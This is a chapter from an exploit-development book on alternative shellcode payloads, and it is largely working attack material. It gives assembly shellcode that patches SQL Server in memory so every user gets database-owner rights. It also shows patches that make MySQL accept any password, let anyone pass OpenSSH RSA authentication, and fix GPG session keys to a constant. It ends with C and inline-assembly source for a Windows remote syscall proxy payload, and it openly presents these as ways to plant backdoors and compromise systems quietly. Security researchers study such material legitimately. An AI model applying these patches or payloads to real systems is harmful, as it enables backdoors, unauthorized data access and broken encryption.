Part

Advanced Materials

This book would not be complete without advanced-level content. We present some novel payload strategies in Chapter 22. Using these payload strategies will allow you do way more than bind a root shell in your shellcode. We introduce advanced shellcoding techniques, such as remotely disabling access control on a running program. Getting exploits to work in the wild, outside of your controlled lab environment often presents a problem for even the most skilled hacker. Chapter 23 teaches you some of the steps to take to get your exploits to work in the wild. We then move into hacking specific relational databases, such as Oracle, DB2, and SQL servers, in Chapter 24. Living in a one-application, one-box world, oftentimes hacking the database software is more important than the underlying operating system.

Finally, the book concludes with a detailed look into a relatively new phenomenon, kernel hacking, with some kernel vulnerability discovery and exploitation for the OpenBSD and Solaris operating systems in Chapters 25 and 26 and a discussion of discovery and exploitation of Windows kernel bugs in Chapter 27.

CHAPTER

22

Alternative Payload Strategies

If you browse a shellcode archive, you will normally see operating-system specific variants on the following themes:

- Unix
  - `execve /bin/sh`
  - **port-binding** `/bin/sh`
  - **passive connect ("reverse shell")** `/bin/sh`
  - `setuid`
  - **breaking** `chroot`
- Windows
  - `WinExec`
  - **Reverse shell using** `CreateProcess cmd.exe`

This list comprises the basic, shell-based types of exploit code that are most often posted to mailing lists and most security Web sites. Although a number of complex issues related to the development of this kind of traditional shellcode exist, you will sometimes find situations in which it's necessary for you to do something beyond developing traditional shellcode—perhaps because there's a more direct way to achieve your objective, or because there's some defense mechanism that blocks traditional shellcode, or perhaps just because you prefer to use a more interesting or obscure method.

So, this chapter won't cover traditional shellcode; instead, we'll focus on the more subtle or unusual things that arbitrary code executed in a target process can do—such as modifying the code of the process while it's running, manipulating the operating system directly to add users or change configurations, or using covert channels to transmit data from the target host. If this book were a menagerie of exploits, this chapter would contain the Manatee, the Aardvark, the Duck-billed Platypus, and even the Dragon.

We'll also deal with a few generic shellcode tricks and tips, mostly for the Windows platforms, such as techniques for reducing the size of shellcode and problems with service-pack and target-version independence.

Modifying the Program

If your target program is sufficiently complex, it might be beneficial to cripple its security rather than simply returning a shell. For example, when attacking a database server, the attacker is normally after the data. A shell might not be much use in this case, because the relevant data will be buried somewhere in a number of extremely large data files, some of which may not be accessible (because they are exclusively locked by the database process). On the other hand, the data could easily be extracted with a few SQL Queries, given appropriate privileges. In this type of situation, a runtime-patching exploit can come in handy.

In the paper "Violating Database—Enforced Security Mechanisms" (`www.ngssoftware.com/papers/violating_database_security.pdf`), Chris Anley described a 3-byte patch to Microsoft's SQL Server database system that has the effect of hardcoding the privilege level of every user to that of `dbo`, the database owner (sort of a `root` account for the database). The patch can be delivered via a conventional buffer overflow or format string type attack—we'll revisit the sample in the paper so that you'll get the idea.

An interesting property of this patch is that it can be applied equally as easily to patching a binary file on disk as to patching a running process in memory. From an attacker's perspective, the disadvantage of patching the binary instead of the running process is that patching the binary is more likely to be detected (by virus scanners, TripWire-type file integrity mechanisms, and so forth). That said, it's worth bearing in mind that this class of attack is equally amenable to installing a subtle backdoor as it is to a more immediate, network-based attack.

The SQL Server 3-Byte Patch

Our aim is to find some way of disabling access control within the database, so that any attempt to read or write from any column of a table is successful.

Rather than attempting a static analysis of the entire SQL Server codebase, a little debugging up front will probably point us in the right direction.

First, we need a query that will exercise the security routines in the manner we want. The query

```
select password from sysxlogins
```

will fail if the user is not a sysadmin. So, we start Query Analyzer—a tool that comes with SQL Server—and our debugger (MSVC++ 6.0) and run the query as a low-privileged user. A `Microsoft Visual C++ Exception` then occurs. Dismissing the exception message box, we hit `Debug/Go` again and let SQL Server handle the exception. Turning back to Query Analyzer, we see an error message:

```
SELECT permission denied on object 'sysxlogins', database 'master',
owner 'dbo'.
```

In a spirit of curiosity, we try running the query as the `sa` user. No exception occurs. Clearly, the access control mechanism triggers a C++ exception when access is denied to a table. We can use this fact to greatly simplify our reverse-engineering process.

Now we will trace through the code to attempt to find the point in which the code decides whether or not to raise the exception. This is a trial-and-error process, but after a few false starts we find the following:

```
00416453 E8 03 FE 00 00       call        FHasObjPermissions (0042625b)
```

which, if we do not have permissions, results in this:

```
00613D85 E8 AF 85 E5 FF       call        ex_raise (0046c339)
```

NOTE **It is worth pointing out that we have symbols because they are provided by Microsoft in the file** `sqlservr.pdb`**; this is a rare luxury.**

Clearly the `FHasObjPermissions` function is relevant. Examining it, we see:

```
004262BB E8 94 D7 FE FF       call        ExecutionContext::Uid (00413a54)
004262C0 66 3D 01 00          cmp         ax,offset FHasObjPermissions+0B7h
(004262c2)
004262C4 0F 85 AC 0C 1F 00    jne         FHasObjPermissions+0C7h (00616f76)
```

This equates to:

- Get the `UID`.
- Compare the `UID` to `0x0001`.
- If it isn't `0x0001`, jump (after some other checks) to the exception-generating code.

This implies that `UID 1` has a special meaning. Examining the `sysusers` table with:

```
select * from sysusers
```

we see that `UID 1` is `dbo`, the database owner. Consulting the SQL Server documentation online (`http://doc.ddart.net/mssql/sql2000/html/setupsql/ad_security_9qyh.htm`), we read that:

The **dbo** is a user that has implied permissions to perform all activities in the database. Any member of the **sysadmin** fixed server role who uses a database is mapped to the special user inside each database called **dbo**. Also, any object created by any member of the **sysadmin** fixed server role belongs to **dbo** automatically.

Clearly, we want to be `UID 1`. A small assembler patch can easily grant this.

Examining the code for `ExecutionContext::UID`, we find that the default code path is straightforward.

```
?Uid@ExecutionContext@@QAEFXZ:
00413A54 56                   push       esi
00413A55 8B F1                mov        esi,ecx
00413A57 8B 06                mov        eax,dword ptr [esi]
00413A59 8B 40 48             mov        eax,dword ptr [eax+48h]
00413A5C 85 C0                test       eax,eax
00413A5E 0F 84 6E 59 24 00    je         ExecutionContext::Uid+0Ch (006593d2)
00413A64 8B 0D 70 2B A0 00    mov        ecx,dword ptr [__tls_index (00a02b70)]
00413A6A 64 8B 15 2C 00 00 00 mov        edx,dword ptr fs:[2Ch]
00413A71 8B 0C 8A             mov        ecx,dword ptr [edx+ecx*4]
00413A74 39 71 08             cmp        dword ptr [ecx+8],esi
00413A77 0F 85 5B 59 24 00    jne        ExecutionContext::Uid+2Ah (006593d8)
00413A7D F6 40 06 01          test       byte ptr [eax+6],1
00413A81 74 1A                je         ExecutionContext::Uid+3Bh (00413a9d)
00413A83 8B 06                mov        eax,dword ptr [esi]
00413A85 8B 40 48             mov        eax,dword ptr [eax+48h]
00413A88 F6 40 06 01          test       byte ptr [eax+6],1
00413A8C 0F 84 6A 59 24 00    je         ExecutionContext::Uid+63h (006593fc)
00413A92 8B 06                mov        eax,dword ptr [esi]
00413A94 8B 40 48             mov        eax,dword ptr [eax+48h]
00413A97 66 8B 40 02          mov        ax,word ptr [eax+2]
00413A9B 5E                   pop        esi
00413A9C C3                   ret
```

The point of interest here is the line:

```
00413A97 66 8B 40 02          mov         ax,word ptr [eax+2]
```

This code is assigning to `AX`, our magic `UID` code.

To recap, we found in `FHasObjPermissions` code that calls the function `ExecutionContext::UID` and appears to give special access to the hardcoded `UID 1`. We can easily patch this code so that every user has `UID 1` by replacing

```
00413A97 66 8B 40 02          mov         ax,word ptr [eax+2]
```

with this new instruction:

```
00413A97 66 B8 01 00          mov         ax,offset
ExecutionContext::Uid+85h (00413a99)
```

This is effectively `mov ax, 1`. Testing the effectiveness of this, we find that any user can now run

```
select password from sysxlogins
```

At the very least this gives everyone access to the password hashes and thereby (via a password-cracking utility) access to the passwords for all the accounts in the database.

Testing access to other tables, we find that we can now select, insert, update, and delete from any table in the database as any user. This feat has been achieved by patching only 3 bytes of SQL Server code.

Now that we have a clear understanding of our patch, we need to create an exploit that carries out the patch without incurring an error. A number of arbitrary code overflows and format string bugs are known in SQL Server; this chapter does not go into the specifics of those issues. There are a few problems related to writing this kind of exploit that invite discussion, however.

First, the exploit code cannot simply overwrite the code in memory. Windows NT can apply access controls to pages in memory, and code pages are typically marked as `PAGE_EXECUTE_READ`; an attempt to modify the code results in an access violation.

This problem is easily resolved using the `VirtualProtect` function:

```
ret = VirtualProtect( address, num_bytes_to_change,
PAGE_EXECUTE_READWRITE, &old_protection_value );
```

The exploit simply calls `VirtualProtect` to mark the page as writable and then overwrites the bytes in memory.

If the bytes that we are patching reside in a DLL, they may be relocated in memory in a dynamic fashion. Similarly, different patch levels of SQL Server will move the patch target around, so the exploit code should attempt to find the bytes in memory rather than just patching an absolute address.

Here is an example exploit that does roughly what has just been described, with hardcoded addresses for Windows 2000 Service Pack 2. This code is deplorably basic and intended for demonstration purposes only.

```
          mov ecx, 0xc35e0240
          mov edx, 0x8b664840
          mov eax, 0x00400000
next:
          cmp eax, 0x00600000
          je end
          inc eax
          cmp dword ptr[eax], edx
          je found
          jmp next
found:
          cmp dword ptr[eax + 4], ecx
          je foundboth
          jmp next
foundboth:
          mov ebx,eax               ; save eax
                               ; (virtualprotect then write)
          push esp
          push 0x40                 ; PAGE_EXECUTE_READWRITE
          push 8                 ; number of bytes to unprotect
          push eax                 ; start address to unprotect
          mov eax, 0x77e8a6ec      ; address of VirtualProtect
          call eax
          mov eax, ebx           ; get the address back
          mov dword ptr[eax],0xb8664840
          mov dword ptr[eax+4],0xc35e0001
end:
          xor eax, eax
          call eax     ; SQL Server handles the exception with
                    ; no problem so we don't need to worry
                    ; about continuation of execution!
```

The MySQL 1-Bit Patch

To take another (previously unpublished) example of the technique discussed in the preceding section, we present a small patch to MySQL that alters the remote authentication mechanism in such a manner that any password is accepted. This results in a situation in which, provided remote access is granted to the MySQL server, it is possible to authenticate as any valid remote user, without knowledge of that user's password.

Again, it should be stressed that this sort of thing is useful only in particular situations, specifically, when you want to:

- Place a subtle backdoor in a system
- Utilize an application/daemon's ability to interpret a complex set of data
- Compromise a system quietly

Occasionally, it is better to use legitimate channels of communication but modify the security attributes of those channels. In the SQL Server example, we interact with the system as a normal user, but we have the ability to read and modify any data we wish for as long as the patch is in place. If the attack is well constructed, the logs will show that a normal user engaged in normal activity. That said, more often than not, a root shell is more effective (though admittedly less subtle).

To follow the discussion, you'll need the MySQL source, which you can download from `www.mysql.com`. At the time of writing, the stable version was 4.0.14b.

MySQL uses a somewhat bizarre homegrown authentication mechanism that involves the following protocol (for remote authentications):

- The client establishes a TCP connection.
- The server sends a banner and an 8-byte challenge.
- The client scrambles the challenge using its password hash (an 8-byte quantity).
- The client sends the resulting scrambled data to the server over the TCP connection.
- The server checks the scrambled data using the function `check_scramble` in `sql\password.c`.
- If the scrambled data agrees with the data the server is expecting, `check_scramble` returns `0`. Otherwise, `check_scramble` returns `1`.

The relevant snippet of `check_scramble` looks like this:

```
while (*scrambled)
{
  if (*scrambled++ != (char) (*to++ ^ extra))
    return 1;                    /* Wrong password */
}
return 0;
```

Therefore, our patch is simple. If we change that code snippet to look like this:

```
while (*scrambled)
{
  if (*scrambled++ != (char) (*to++ ^ extra))
    return 0;                    /* Wrong password but we don't care :o) */
}
return 0;
```

then any user account that can be used for remote access can be used with any password.

There are many other things that you can do with MySQL, including a conceptually similar patch to the previous SQL Server example (it doesn't matter who you are, you're always dbo) among other interesting things.

The code compiles to a byte sequence something like this (using MS assembler format):

```
3B C8                cmp         ecx,eax
74 04                je          (4 bytes forward)
B0 01                mov         al,1
EB 04                jmp         (4 bytes forward)
EB C5                jmp         (59 bytes backward)
32 C0                xor         al,al
```

The `mov al, 1` is the trick here. If we change it to `mov al, 0`, any user can use any password. That's a 1-byte patch (or, if we're being pedantic, a 1-bit patch). We couldn't make a smaller change to the process if we tried, yet we've disabled the entire remote password authentication mechanism.

The means of inflicting the binary patch on the target system is left as an exercise to the reader. There have historically been a number of arbitrary code execution issues in MySQL; doubtless more will be found in time. Even in the absence of a handy buffer overflow, however, the technique still applies to binary file patching and is thus still worth knowing.

You then write a small exploit payload that applies that difference to the running code, or to the binary file, in a similar manner to the SQL Server exploit outlined previously.

OpenSSH RSA Authentication Patch

We can apply the principle we're discussing here to almost any authentication mechanism. Let's take a quick look at OpenSSH's RSA authentication mechanism. After a little searching, we find the following function:

```
int
auth_rsa_verify_response(Key *key, BIGNUM *challenge, u_char response[16])
```

```
{
     u_char buf[32], mdbuf[16];
     MD5_CTX md;
     int len;

     /* don't allow short keys */
     if (BN_num_bits(key->rsa->n) < SSH_RSA_MINIMUM_MODULUS_SIZE) {
          error("auth_rsa_verify_response: RSA modulus too small: %d <
minimum %d bits",
              BN_num_bits(key->rsa->n), SSH_RSA_MINIMUM_MODULUS_SIZE);
          return (0);
     }

     /* The response is MD5 of decrypted challenge plus session id. */
     len = BN_num_bytes(challenge);
     if (len <= 0 || len > 32)
          fatal("auth_rsa_verify_response: bad challenge length %d", len);
     memset(buf, 0, 32);
     BN_bn2bin(challenge, buf + 32 - len);
     MD5_Init(&md);
     MD5_Update(&md, buf, 32);
     MD5_Update(&md, session_id, 16);
     MD5_Final(mdbuf, &md);

     /* Verify that the response is the original challenge. */
     if (memcmp(response, mdbuf, 16) != 0) {
          /* Wrong answer. */
          return (0);
     }
     /* Correct answer. */
     return (1);
}
```

Once again, it's easy to locate a function that returns `1` or `0` depending on whether or not a given authentication succeeded. Admittedly in the case of OpenSSH you'll have had to do this by patching the binary file on disk, because OpenSSH spawns a child process that performs the authentication. Still the result of replacing those `return 0` statements with `return 1` statements is an SSH server to which you can authenticate as any user using any key.

Other Runtime Patching Ideas

The runtime patching technique has barely been addressed in the security literature, mainly because root shells are generally so much more effective and possibly because the process of developing a runtime patching exploit is a little more tricky (or at least, less known).

One exploit that included a simple aspect of runtime patching was the Code Red worm—which (intermittently) remapped the import table entry in IIS for the `TcpSockSend` function to be an address within the worm payload itself that returned the string "Hacked by Chinese!" rather than the desired content. This was a more elegant way of defacing infected IIS servers than overwriting files, because the logic involved in determining which files to overwrite would be complex, and it is by no means certain that the account that IIS is running under even has permission to write to these files. Another interesting property of the Code Red technique (shared by most runtime patching exploits) was that the damage vanished without a trace as soon as the process was stopped and restarted.

When runtime patches disappear in volatile memory, it is both a blessing and a curse for the attacker. On the various Unix platforms, it is common to have a pool of worker processes that handle a number of requests from clients and then terminate. This is the case with Apache, for example. Runtime patching exploits have a slightly modified behavior in this scenario, because the server instance whose code you patched may not be around for very long.

The worst case for the attacker occurs if every server instance handles exactly one client request; this means that the runtime patch cannot be used in subsequent requests. The upside from the attacker's point of view to having a pool of worker processes is that evidence of the attacker's misdeeds is almost immediately removed.

Apart from modifying the authentication/authorization structure of the application, there are other, rather more insidious approaches to runtime modification.

Almost every secure application relies to some extent on cryptography, and almost every cryptographic mechanism relies to some extent on good randomness. Patching a random number generator may not seem to be an earth-shattering way in which to exploit something, but the consequences are really quite severe.

The poor-randomness patch technique applies to any target where it would be useful for you to degrade its encryption. Occasionally, a poor-randomness patch will allow you to defeat authentication protocols as well as encryption—in some systems that use a random challenge (a *nonce*), users are authenticated if they are able to determine the value of the nonce. If you already know the value of the nonce, you can easily cheat the authentication system. For instance, in the OpenSSH RSA example given previously, note the line:

```
    /* The response is MD5 of decrypted challenge plus session id. */
```

If we know in advance what the challenge will be, we do not need knowledge of the private key in order to provide the correct response. Whether or not this defeats the authentication mechanism depends on the protocol, but it certainly gives us a big head start.

Other good examples can be found in more traditional encryption products. For instance, if you were to patch someone's instance of GPG or PGP in such a manner that the message session keys were always constant, you would then easily be able to decrypt any e-mail that person sent. Of course, you'd have to be able to intercept the email, but still, we just negated the protection offered by an entire encryption mechanism by making a minor change to one routine.

As a quick example of this, let's take a look at patching GPG 1.2.2 to weaken the randomness.

GPG 1.2.2 Randomness Patch

Having downloaded the source, we start by looking for `session key`. That leads us to the `make_session_key` function. This calls the `randomize_buffer` function to set the key bits. `randomize_buffer` calls the `get_random_bits` function, which in turn calls the `read_pool` function (`read_pool` is only ever called by `get_random_bits`, so we don't need to worry about messing up any other parts of the program). Examining `read_pool`, we find the section that reads the random data from the pool into the destination buffer.

```
/* read the required data
 * we use a readpointer to read from a different position each
 * time */
while( length-- ) {
    *buffer++ = keypool[pool_readpos++];
    if( pool_readpos >= POOLSIZE )
     pool_readpos = 0;
    pool_balance--;
}
```

Because `pool_readpos` is a static variable, we probably want to maintain its state, so we patch as follows:

```
/* read the required data
 * we use a readpointer to read from a different position each
 * time */
while( length-- ) {
    *buffer++ = 0xc0; pool_readpos++;
    if( pool_readpos >= POOLSIZE )
     pool_readpos = 0;
    pool_balance--;
}
```

Every GPG message encrypted using that binary has a constant session key (whichever algorithm it uses).

Upload and Run (or Proglet Server)

One interesting type of alternative payload is a mechanism that sits in a loop, receives shellcode, and then runs it, ad infinitum. This method gives you a quick and moderately easy way of repeatedly hitting a server with different small exploit fragments depending upon the situation. The term *proglet* describes these small programs—apparently a proglet is defined as "the largest amount of code that can be written off the top of one's head, that does not need any editing, and that runs correctly the first time." (By this definition, the author's assembler proglets rarely exceed a handful of instructions).

The problems with proglets are:

1. Even though proglets are quite small, writing them can be tricky, because they need to be written in assembler.
2. There is no generic mechanism for determining the success or failure of a proglet, or even receiving simple output data from them.
3. If a proglet goes wrong, recovery can be quite tricky.

Even with these problems, the proglet mechanism is still an improvement over one-shot, static exploits. Something a little grander and more dynamic would be preferable, however—which brings us to syscall proxies.

Syscall Proxies

As noted in the introduction to this chapter, if you take a look at most shellcode archives, you see a number of different shellcode snippets drawn from a fairly small set and doing mostly similar things.

When you use shellcode as an attacker, you often find situations in which the code inexplicably refuses to work. The solution in these situations is normally to make an intelligent guess at what might be happening and then try to work around the problem. For instance, if your repeated attempts to spawn `cmd.exe` fail, you might want to try copying your own version of `cmd.exe` to the target host and trying to run that instead. Or, possibly you're trying to write to a file that (it turns out) you don't have permissions for; therefore, you might want to try and elevate privileges first. Or, maybe your break `chroot` code simply failed for some reason. Whatever the problem, the solution is almost always a painful period of piecing together scraps of assembler into another exploit or of simply finding some other way into the box.

There is, however, a solution that is generic, elegant, and efficient in terms of shellcode size—the syscall proxy.

Introduced by Tim Newsham and Oliver Friedrichs and then developed further in an excellent paper by Maximiliano Caceres of Core-SDI (which you can find at `www.coresecurity.com/files/files/11/SyscallProxying.pdf`), syscall proxying is an exploit technique in which the exploit payload sits in a loop, calling system calls on behalf of the attacker and returning the results. Table 22-1 shows what this looks like.

Table 22-1: How a Syscall Proxy Works

TIME T =	CLIENT HOST	SYSCALL STUB	NETWORK	SYSCALL PROXY
0	Calls syscall stub			
1		Packages parameters into buffer for transportation over network		
2			Transport data	
3				Unpackages parameters
4				Makes syscall
5				Packages results for transportation over network
6			Transports data	
7		Unpackages results into syscall return parameters		
8	Returns from syscall stub			
9	Interprets results			
10	Makes another syscall . . .			

Although syscall proxies are not always possible (because of the network location of the target host), this approach is exceptionally powerful, because it allows the attacker to dynamically determine what action to take given the prevailing conditions upon the host. Looking at our previous examples, say we are attacking a Windows system, and we can't edit a given file. We look at our current username and find that we are running as a low-privileged user. We determine that the host is vulnerable to a named pipe–based privilege escalation exploit, then we perform the function calls required to activate the privilege elevation, and bingo—we have system privileges.

More generally, we can proxy the actions of any process running on our machine, redirecting the syscalls (or Win32 API calls on Windows) to execute on the target machine. That means that we can effectively run any tools we have through our proxy, and the relevant parts of the code will run on the target host.

Any readers familiar with RPC will have noticed similarities between the syscall proxy mechanism and the (more generic) RPC mechanisms—this is no coincidence, because what we're doing with a syscall proxy involves the same challenges. In fact, the major challenge is the same—*marshalling*, or packaging up the syscall parameter data in a form in which it can be represented easily in a flat stream of data. What we're effectively doing is implementing a very small RPC server in a small fragment of assembler.

There are a couple of different approaches to the implementation of the proxy itself:

- Transfer the stack, call the function, and then transfer the stack back.
- Transfer the input parameters into a contiguous block of memory, call the function, and then transfer the output parameters back.

The first technique is a simple method and is therefore small and easy to code, but can take up quite a bit of bandwidth (data for output parameters is transferred unnecessarily from client to server) and doesn't cope well with returned values that aren't passed on the stack (for example, Windows `GetLastError`).

The second method is a little more complex but copes better with awkward return types. The big disadvantage of this technique is that you must specify the prototypes of the functions that you're calling on the remote host in some form so that the client knows what data to send. The proxy itself must also have some means of distinguishing between in and out parameters, pointer types, literals, and so on. For those familiar with RPC, this will probably end up looking a lot like `IDL`.

Problems with Syscall Proxies

Counterbalancing the benefits of the wonderfully dynamic nature of syscall proxies are some problems that may affect the decision to use them in a given situation:

1. **The tools problem:** Depending on how you implement your proxy, you might have problems implementing tools that correctly marshal your syscalls.
2. **The iteration problem:** Every function call requires a network round trip. For mechanisms involving thousands of iterations, this can become pretty tedious, especially if you're attacking something over a high-latency network.
3. **The concurrency problem:** We can't easily do more than one thing at a time.

There are solutions to each of these problems, but they generally involve some workaround or major architectural decision. Let's look at solutions to each of these three problems:

1. Problem 1 can be solved by using a high-level language to write all your tools, and then proxying all the syscalls that the interpreter for that language (be it perl, Python, PHP, Java, or whatever you like) makes. The difficulty with this solution is that you probably already have a very large number of tools that you use all the time that might not be available in (say) perl.
2. Problem 2 can be solved by either
   a. Uploading code to execute (see the section on proglets) for the cases in which you need to iterate a lot, or
   b. Uploading some manner of interpreter to the target process and then uploading script rather than shellcode snippets.

   Either solution is painful.
3. We can partially solve problem 3 if we have the ability to spawn another proxy—however, we may not have that luxury. A more generic solution would involve our proxy synchronizing access to its data stream and allowing us to interact with different threads of execution concurrently. This is tricky to implement.

Even with all the disadvantages, syscall proxies are still the most dynamic way of exploiting any shellcode-type bug and are well worth implementing. Expect to see a rash of syscall proxy-based exploits in the next couple of years.

Just for fun, let's design and implement a small syscall proxy for the Windows platform. Let's opt for the more IDL-like approach, because it's better suited to Windows function calls and may help in terms of specifying how to handle returned data.

First, we need to think about how our shellcode will unpackage the parameters for the call we're making. Presumably we'll have some sort of syscall header that will contain information that identifies the function we're calling and some other data (maybe flags or something; let's not trouble ourselves too deeply with that right now).

We'll then have a list of parameter structures, with some data. We should probably put some flags in there as well. Our marshalled function call data will look something like Table 22-2.

Table 22-2: Overview of the Syscall Proxy

Syscall Header	
	DLLName
	FunctionName
	ParameterCount
	. . .<some more flags>. . .
Parameter List Entry	
	. . .<some flags>. . .
	Size
	Data (if the parameter is "input" or "in/out")

An easy way to think about this is to work out what sorts of calls we will make and look at some parameter lists. We will definitely want to create and open files.

```
HANDLE CreateFile(
  LPCTSTR lpFileName,           // pointer to name of the file
  DWORD dwDesiredAccess,        // access (read-write) mode
  DWORD dwShareMode,            // share mode
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
                                // pointer to security attributes
  DWORD dwCreationDisposition,  // how to create
  DWORD dwFlagsAndAttributes,   // file attributes
  HANDLE hTemplateFile          // handle to file with attributes to
                                // copy
);
```

We have a pointer to a null-terminated string (which can be ASCII or Unicode) followed by a literal `DWORD`. This gives us our first design challenge; we must differentiate between literals (things) and references (pointers to things). So let's add a flag to make the distinction between pointers and literals. The flag we'll be using is `IS_PTR`. If this flag is set, the parameter should be passed to the function as a pointer to data rather than a literal. This means that we push the address of the data onto the stack before calling the function rather than pushing the data itself.

We can assume that we will pass the length of each parameter in the parameter list entry as well; that way, we can pass structures as input, as we do the `lpSecurityAttributes` parameter.

So far we're passing a `ptr` flag and a data size in addition to the data, and we can already call `CreateFile`. There is a slight complication, however; we should probably handle the return code in some manner. Maybe we should have a special parameter list entry that tells us how to handle the returned data.

The return code for `CreateFile` is a `HANDLE` (an unsigned 4-byte integer), which means it is a thing rather than a pointer to a thing. But there's a problem here—we're specifying all the parameters to the function as input parameters and only the return value as an output parameter, which means we can never return any data except in the return code to a function.

We can solve this by creating two more parameter list entry flags:

```
IS_IN: The parameter is passed as input to the function.
IS_OUT: The parameter holds data returned from the function.
```

The two flags would also cover a situation in which we had a value that was both input to and output from a function, such as the `lpcbData` parameter in the following prototype:

```
LONG RegQueryValueEx(
  HKEY hKey,           // handle to key to query
  LPTSTR lpValueName,  // address of name of value to query
  LPDWORD lpReserved,  // reserved
  LPDWORD lpType,      // address of buffer for value type
  LPBYTE lpData,       // address of data buffer
  LPDWORD lpcbData     // address of data buffer size
);
```

This is the Win32 API function used to retrieve data from a key in the Windows registry. On input, the `lpcbData` parameter points to a `DWORD` that contains the length of the data buffer that the value should be read into. On output, it contains the length of the data that was copied into the buffer.

So, we do a quick check of some other prototypes:

```
BOOL ReadFile(
  HANDLE hFile,                // handle of file to read
```

```
    LPVOID lpBuffer,             // pointer to buffer that receives data
    DWORD nNumberOfBytesToRead,  // number of bytes to read
    LPDWORD lpNumberOfBytesRead, // pointer to number of bytes read
    LPOVERLAPPED lpOverlapped    // pointer to structure for data
  );
```

We can handle that—we can specify an output buffer of arbitrary size, and none of the other parameters give us any problems.

A useful consequence of the way that we're bundling up our parameters is that we don't need to send 1000 bytes of input buffer over the wire when we call `ReadFile`—we just say that we have an `IS_OUT` parameter whose size is 1000 bytes—we send 5 bytes to read 1000, rather than sending 1005 bytes.

We must look long and hard to find a function we can't call using this mechanism. One problem we might have is with functions that allocate buffers and return pointers to the buffers that they allocated. For example, say we have a function like this:

```
MyStruct *GetMyStructure();
```

We would handle this at the moment by specifying that the return value is `IS_PTR` and `IS_OUT` and has size `sizeof( struct MyStruct)`, which would get us the data in the returned `MyStruct`, but then we wouldn't have the address of the structure so that we can `free()` it.

So, let's kludge our returned return value data so that when we return a pointer type we return the literal value as well. In this way, we'll always save an extra 4 bytes for the literal return code whether it's a literal or not.

That solution handles most of the cases, but we still have a few remaining. Consider the following:

```
char *asctime( const struct tm *timeptr );
```

The `asctime()` function returns a null-terminated string that is a maximum 24 bytes in length. We could kludge this as well by requiring that we specify a return size for any returned null-terminated string buffers. But that's not very efficient in terms of bandwidth, so let's add a null-terminated flag, `IS_SZ` (the data is a pointer to a null-terminated buffer), and also a double-null terminated flag, `IS_SZZ` (the data is a pointer to a buffer terminated by two null bytes—for example, a Unicode string).

We need to lay out our proxy shellcode as follows:

1. Get name of `DLL` containing function
2. Get name of function
3. Get number of parameters
4. Get amount of data we have to reserve for output parameters

5. Get function flags (calling convention, and so on)
6. Get parameters:
   a. Get parameter flags (`ptr`, `in`, `out`, `sz`, `szz`)
   b. Get parameter size
   c. (`if in or inout`) Get parameter data
   d. `If not ptr`, push parameter value
   e. `If ptr`, push pointer to data
   f. Decrement parameter count; if more parameters, get another parameter
7. Call function
8. Return `'out'` data

We've now got a generic design for a shellcode proxy that can deal with pretty much the entire Win32 API. The upside to our mechanism is that we handle returned data quite well, and we conserve bandwidth by having the in/out concept. The downside is that we must specify the prototype for every function that we want to call, in an `idl` type format (which actually isn't very difficult, because you'll probably end up calling only about 40 or 50 functions).

The following code shows what the slightly cut-down proxy section of the shellcode looks like. The interesting part is `AsmDemarshallAndCall`. We're manually setting up most of what our exploit will do for us—getting the addresses of `LoadLibrary` and `GetProcAddress` and setting `ebx` to point to the beginning of the received data stream.

```
// rsc.c
// Simple windows remote system call mechanism

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int Marshall( unsigned char flags, unsigned size, unsigned char *data,
unsigned char *out, unsigned out_len )
{
     out[0] = flags;
     *((unsigned *)(&(out[1]))) = size;
     memcpy( &(out[5]), data, size );

     return size + 5;
}
```

```
////////////////////////////
// Parameter Flags /////////
////////////////////////////

// this thing is a pointer to a thing, rather than the thing itself
#define IS_PTR     0x01

// everything is either in, out or in | out
#define IS_IN     0x02
#define IS_OUT     0x04

// null terminated data
#define IS_SZ     0x08

// null short terminated data (e.g. unicode string)
#define IS_SZZ     0x10


////////////////////////////
// Function Flags //////////
////////////////////////////

// function is __cdecl (default is __stdcall)
#define FN_CDECL     0x01


int AsmDemarshallAndCall( unsigned char *buff, void *loadlib, void
*getproc )
{
     // params:
     // ebp: dllname
     // +4     : fnname
     // +8     : num_params
     // +12     : out_param_size
     // +16     : function_flags
     // +20     : params_so_far
     // +24     : loadlibrary
     // +28     : getprocaddress
     // +32     : address of out data buffer

     _asm
     {
     // set up params - this is a little complicated
     // due to the fact we're calling a function with inline asm

          push ebp
          sub esp, 0x100
          mov ebp, esp
          mov ebx, dword ptr[ebp+0x158]; // buff
          mov dword ptr [ebp + 12], 0;
          mov eax, dword ptr [ebp+0x15c];//loadlib
          mov dword ptr[ebp + 24], eax;
          mov eax, dword ptr [ebp+0x160];//getproc
          mov dword ptr[ebp + 28], eax;

          mov dword ptr [ebp], ebx; // ebx = dllname

          sub esp, 0x800;          // give ourselves some data space
          mov dword ptr[ebp + 32], esp;

          jmp start;

          // increment ebx until it points to a '0' byte
skip_string:
          mov al, byte ptr [ebx];
          cmp al, 0;
          jz done_string;
          inc ebx;
          jmp skip_string;

done_string:
          inc ebx;
          ret;

start:
          // so skip the dll name
          call skip_string;

          // store function name
          mov dword ptr[ ebp + 4 ], ebx

          // skip the function name
          call skip_string;

          // store parameter count
          mov ecx, dword ptr [ebx]
          mov edx, ecx
          mov dword ptr[ ebp + 8 ], ecx

          // store out param size
          add ebx,4
          mov ecx, dword ptr [ebx]
          mov dword ptr[ ebp + 12 ], ecx

          // store function flags
          add ebx,4
          mov ecx, dword ptr [ebx]
          mov dword ptr[ ebp + 16 ], ecx

          add ebx,4
```

```
// in this loop, edx holds the num parameters we have left to do.

next_param:
          cmp edx, 0
          je call_proc

          mov cl, byte ptr[ ebx ];     // cl = flags
          inc ebx;

          mov eax, dword ptr[ ebx ];     // eax = size
          add ebx, 4;

          mov ch,cl;
          and cl, 1;                         // is it a pointer?
          jz not_ptr;

          mov cl,ch;

// is it an 'in' or 'inout' pointer?
          and cl, 2;
          jnz is_in;

                                   // so it's an 'out'
                                   // get current data pointer
          mov ecx, dword ptr [ ebp + 32 ]
          push ecx

// set our data pointer to end of data buffer
          add dword ptr [ ebp + 32 ], eax
          add ebx, eax
          dec edx
          jmp next_param

is_in:
          push ebx

// arg is 'in' or 'inout'
// this implies that the data is contained in the received packet
          add ebx, eax
          dec edx
          jmp next_param


not_ptr:
          mov eax, dword ptr[ ebx ];
          push eax;
          add ebx, 4
          dec edx
          jmp next_param;
```

```
call_proc:
          // args are now set up. let's call...
          mov eax, dword ptr[ ebp ];
          push eax;
          mov eax, dword ptr[ ebp + 24 ];
          call eax;
          mov ebx, eax;
          mov eax, dword ptr[ ebp + 4 ];
          push eax;
          push ebx;
